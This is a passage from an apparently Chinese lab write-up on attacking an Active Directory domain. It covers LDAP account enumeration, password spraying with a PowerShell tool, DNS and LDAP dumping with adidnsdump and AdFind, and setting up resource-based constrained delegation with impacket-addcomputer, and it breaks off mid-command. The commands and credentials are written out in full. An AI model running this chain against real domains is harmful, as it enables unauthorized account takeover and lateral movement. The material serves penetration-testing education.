Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">这里通过将 attr 的值设置为<code style="text-align:left;line-height:1.75;font-size:90%;color:#d14;background:rgba(27,31,35,.05);padding:3px 5px;border-radius:4px;word-break:break-all;">useraccountcontrol</code>，进行测试，发现能够成功查询，接下来可以利用它显示出来的内容判断用户的权限。</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.612037037037037" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=b517b422&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795lTrNicwjaEYibOEhDF9icsd0zToktzaF9bMAUpQDm1fa4bb2HJIw6dvIg4RiaeZ4Ky40NEGhgbAswEg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;"><strong style="text-align:left;line-height:1.75;color:rgba(15, 76, 129, 1);font-weight:bold;">（对该属性的值做一个简单解释）</strong>一个账户具有不同的属性，而这个值就是不同属性相加之后得到的值。514=512+2=账号存在且关闭
66048=65536+512=密码永不过期+账号正常</p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">这里发现大部分账户的权限都为 514 也就是不可登录，我们筛选出 66048 的账户。收集为<code style="text-align:left;line-height:1.75;font-size:90%;color:#d14;background:rgba(27,31,35,.05);padding:3px 5px;border-radius:4px;word-break:break-all;">66048</code>的账号：weishen
weishentql
dashe
dashenb
weizi666
weizi</p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">收集到可以登录的账户后对账户进行密码喷洒，找到能够进行登录的账号。</p><h3 style="text-align:left;line-height:1.2;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.1em;font-weight:bold;margin:2em 8px 0.75em 0;padding-left:8px;border-left:3px solid rgba(15, 76, 129, 1);color:#3f3f3f;">ldap 账户喷洒</h3><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">这里配合上面的 readme.txt 文件中提示的密码对 ldap 账户进行喷洒。喷洒工具可以使用 3gstudent 师傅编写的一款喷洒 ldap 账户密码的 powershell 程序。</p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;"><strong style="text-align:left;line-height:1.75;color:rgba(15, 76, 129, 1);font-weight:bold;">工具地址：</strong><a href="https://github.com/3gstudent/Homework-of-Powershell/blob/master/Invoke-DomainPasswordSprayOutsideTheDomain.ps1" target="_blank">https://github.com/3gstudent/Homework-of-Powershell/blob/master/Invoke-DomainPasswordSprayOutsideTheDomain.ps1</a></p><pre style="text-align: left;line-height: 1.5;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;overflow-x: auto;border-radius: 8px;margin: 10px 8px;padding: 0!important;"><span style="padding: initial;display: block;height: 25px;background-color: transparent;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgbicbVz8KYS6jibcojsOxyuZ0P7Iia0BBic4NKahfHCKPse13icW5W69iciav765f43b0YNia8Kib3rEibha5B/640?wx_fmt=svg&#34;);background-position: 14px 10px;background-repeat: no-repeat;background-size: 40px;"></span><code style="font-family: Menlo, &#39;Operator Mono&#39;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-align: left;line-height: 1.75;font-family: Menlo, Operator Mono, Consolas, Monaco, monospace;font-size: 14px;margin: 0px;white-space: nowrap;">Set-ExecutionPolicy Bypass<br/>Import-Module .\ldap_password.ps1<br/>Invoke-DomainPasswordSprayOutsideTheDomain -Domain &#34;10.0.0.10/DC=ds,DC=local&#34; -UserList .\user.txt -Password p@ssw0rd -Verbose</code></pre><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">这里通过对密码进行喷洒，我们获取可以登录的 ldap 凭证，然后我们可以利用这个凭证直接访问 ldap 数据库，查询其中的 ldap 信息，为了便于分析我们也可以通过 Adfind 将该域的 ldap 全部下载到本地进行查看。</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.4203703703703704" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=36006963&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795lTrNicwjaEYibOEhDF9icsd0pVA7ESiaGSDMibZFpLC2bP8BLsTic5NCtSPuTzicaeA44Wncv9XMia29sLA%2F640%3Fwx_fmt%3Dpng"/></figure><h3 style="text-align:left;line-height:1.2;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.1em;font-weight:bold;margin:2em 8px 0.75em 0;padding-left:8px;border-left:3px solid rgba(15, 76, 129, 1);color:#3f3f3f;">dns 信息导出</h3><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">在一些域内有些机器可能被设置了防火墙，从而无法被扫描到。当我们获得凭证了，为了获取更为详细的域内机器，可以对域控 dns 服务器中的 DNS 信息进行查询，从而获取到一些被防火墙忽略的机器。</p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">可以利用 adidnsdump 项目，来获取域控中的 dns 信息
<a href="https://github.com/dirkjanm/adidnsdump" target="_blank">https://github.com/dirkjanm/adidnsdump</a></p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.5916666666666667" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=c1324584&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795lTrNicwjaEYibOEhDF9icsd0HQl9uAJ9FS9ZxdReB4uibiafDvV49sL5ibmVic1V1GuTUhiaiaFYEXvtqUzw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">可以发现域中还存在 10.0.0.12 这台机器没有被扫描到。</p><h3 style="text-align:left;line-height:1.2;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.1em;font-weight:bold;margin:2em 8px 0.75em 0;padding-left:8px;border-left:3px solid rgba(15, 76, 129, 1);color:#3f3f3f;">ldap 信息导出及分析</h3><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">使用下面的语句可以从域外进行 ldap 信息的获取</p><pre style="text-align: left;line-height: 1.5;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;overflow-x: auto;border-radius: 8px;margin: 10px 8px;padding: 0!important;"><span style="padding: initial;display: block;height: 25px;background-color: transparent;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgbicbVz8KYS6jibcojsOxyuZ0P7Iia0BBic4NKahfHCKPse13icW5W69iciav765f43b0YNia8Kib3rEibha5B/640?wx_fmt=svg&#34;);background-position: 14px 10px;background-repeat: no-repeat;background-size: 40px;"></span><code style="font-family: Menlo, &#39;Operator Mono&#39;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-align: left;line-height: 1.75;font-family: Menlo, Operator Mono, Consolas, Monaco, monospace;font-size: 14px;margin: 0px;white-space: nowrap;">Adfind.exe * -h 10.0.0.10 -u &lt;user&gt; -up &lt;password&gt; &gt; info.txt</code></pre><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.4111111111111111" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=08a3dc5e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795lTrNicwjaEYibOEhDF9icsd05SBsXlJ4zlTC9jIIeQxrj2Tpicw2lVUQmWH0dg0G8RkTib6rpr84EPwQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">将 ldap 导入到本地后。我们对文件进行分析，可以了解目前的域环境。主要关注域策略，账户、机器、组之间的关系。</p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">通过 ldap 信息，我们可以获取组策略中的一些信息，密码尝试次数，过期时间，如果需要进一步喷洒，可以参考这些信息，对自己的喷洒方案进行调整。</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.7768518518518519" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=d218243c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795lTrNicwjaEYibOEhDF9icsd0icp2WqibCFeiaFYtjU1lOicKRMCn9yianY0PPdKR4AodmrCuOarQj8yLoTg%2F640%3Fwx_fmt%3Dpng"/></figure><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.13055555555555556" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=823096f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795lTrNicwjaEYibOEhDF9icsd0AbqbUsIYRqRMHJoYNmnDqsY9JQIfhwmoibt374O0azjvJnibsYFhAqMQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">尝试定位到用户。查看对应 ldap 内容可以了解该对象的常见的属性。</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.9640102827763496" title="null" data-type="png" data-w="778" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=c3dd837e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795lTrNicwjaEYibOEhDF9icsd0c7yuGXVoN10sRfmxhwH54yYIYsEaD8Yl9tXZ7Pqjy9szia7yTFaBzZA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">用户的话一般关注以下属性
 whenCreated(创建时间) memberOf(所属组) userAccountControl(权限) 
lastLogon(上次登录时间) pwdLastSet(上次密码修改时间) lastLogonTimestamp(上次登录时间) 
通过这些可以确定账户的权限，账户当前的状态。</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="1.087527352297593" title="null" data-type="png" data-w="914" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=200ea03d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795lTrNicwjaEYibOEhDF9icsd0GIxHSksBtUyx5gQd3hhwHaspmZ1uiaeRpmiaFftEwMO7oicePCvTQrBKw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">在对机器的
 ldap 信息进行查看时发现，这里机器中存在 mS-DS-CreatorSID 
这个属性，如果存在这个属性的话，表示这台机器是由某个域用户加入机器的，该域用户对该机器具有 
msDS-AllowedToActOnBehalfOfOtherIdentity 权限，如果控制了这个账户那么就等于拿下了对应的机器</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.26034063260340634" title="null" data-type="png" data-w="822" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=468873ff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795lTrNicwjaEYibOEhDF9icsd0ddTr5wXGRcyUibdH5Jlv7bGic7dFjq6Z8H9ozhwwG5MIIFfop3C20ibSw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">接下来查询具有 mS-DS-CreatorSID 属性的机器<code style="text-align:left;line-height:1.75;font-size:90%;color:#d14;background:rgba(27,31,35,.05);padding:3px 5px;border-radius:4px;word-break:break-all;">AdFind.exe -h 10.0.0.10 -u dashe -up &#34;p@ssw0rd&#34; -b &#34;DC=ds,DC=local&#34; -f &#34;objectClass=computer&#34; mS-DS-CreatorSID</code></p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.525" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=f073d1e8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795lTrNicwjaEYibOEhDF9icsd0xyJCEZAMu5VicP7Q3tLwLicibgk0RmUm5VrclUBb3D7bicBP9wtnicOJgEQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">发现机器是由 SID 为<code style="text-align:left;line-height:1.75;font-size:90%;color:#d14;background:rgba(27,31,35,.05);padding:3px 5px;border-radius:4px;word-break:break-all;">S-1-5-21-1946571181-3420340102-3117322147-1106</code> 的用户拉入域。该用户对该机器有控制权。通过搜索 SID，发现该用户为<code style="text-align:left;line-height:1.75;font-size:90%;color:#d14;background:rgba(27,31,35,.05);padding:3px 5px;border-radius:4px;word-break:break-all;">dashe</code></p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.8962962962962963" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=b8387653&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795lTrNicwjaEYibOEhDF9icsd0ficLf4qBStxYibn6mr4OcMRAblWVLxnoIvb6X0SJwRcaweHe30nPxcxg%2F640%3Fwx_fmt%3Dpng"/></figure><h3 style="text-align:left;line-height:1.2;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.1em;font-weight:bold;margin:2em 8px 0.75em 0;padding-left:8px;border-left:3px solid rgba(15, 76, 129, 1);color:#3f3f3f;">基于资源的约束委派</h3><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">若要利用基于资源的约束委派攻击，需要有权限控制机器账户中的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性，之后我们需要利用当前域账户建立一个机器账户。之后使用该机器账户去向该机器进行委派。</p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">在上文中提到经过验证的域账户具有将域外主机拉入域内的功能，这是由
 MAQ(MachineAccountQuota)进行的，MAQ 允许域用户将计算机帐户对象添加到域。默认情况下，普通域账户可以创建 10 
个计算机帐户。通过 MAQ 
创建的账户会存放在域计算机组中。同时域用户对于他创建的机器账户具有对象属性的访问权限如(msDS-AllowedToActOnBehalfOfOtherIdentity)</p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">同时通过之前的 ldap，也能查询到对应的信息。</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.09907407407407408" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=fb7eb9bd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795lTrNicwjaEYibOEhDF9icsd0JsQ0fIms0Balm0icbxIcnIia55WuP63uLgafAKcLiaTiaMLkcjQWl1WpzQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">利用 impacket-addcompute 在域外添加服务账户</p><pre style="text-align: left;line-height: 1.5;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;overflow-x: auto;border-radius: 8px;margin: 10px 8px;padding: 0!important;"><span style="padding: initial;display: block;height: 25px;background-color: transparent;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgbicbVz8KYS6jibcojsOxyuZ0P7Iia0BBic4NKahfHCKPse13icW5W69iciav765f43b0YNia8Kib3rEibha5B/640?wx_fmt=svg&#34;);background-position: 14px 10px;background-repeat: no-repeat;background-size: 40px;"></span><code style="font-family: Menlo, &#39;Operator Mono&#39;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-align: left;line-height: 1.75;font-family: Menlo, Operator Mono, Consolas, Monaco, monospace;font-size: 14px;margin: 0px;white-space: nowrap;">impacket-addcomputer &#34;ds.local/dashe:p@ssw0rd&#34; -dc-ip 10.0.0.10 -computer-name test_computer598$ -computer-pass p@ssw0rd</code></pre><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.16944444444444445" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=63f2befb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795lTrNicwjaEYibOEhDF9icsd0s7L4NGiblMRrr7kB4QrMFvKq0CCdqwNiaLKvgaibKNprIghTg1umoWZQQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">相比较于非约束委派，约束委派是正向委派，由用户主动发起。接下来利用 impacket 套件中的 rbcd 将 win8 机器与服务账户 test_computer598$建立委派。</p><pre style="text-align: left;line-height: 1.5;font-family: -apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size: 14px;overflow-x: auto;border-radius: 8px;margin: 10px 8px;padding: 0!important;"><span style="padding: initial;display: block;height: 25px;background-color: transparent;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgbicbVz8KYS6jibcojsOxyuZ0P7Iia0BBic4NKahfHCKPse13icW5W69iciav765f43b0YNia8Kib3rEibha5B/640?wx_fmt=svg&#34;);background-position: 14px 10px;background-repeat: no-repeat;background-size: 40px;"></span><code style="font-family: Menlo, &#39;Operator Mono&#39;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-align: left;line-height: 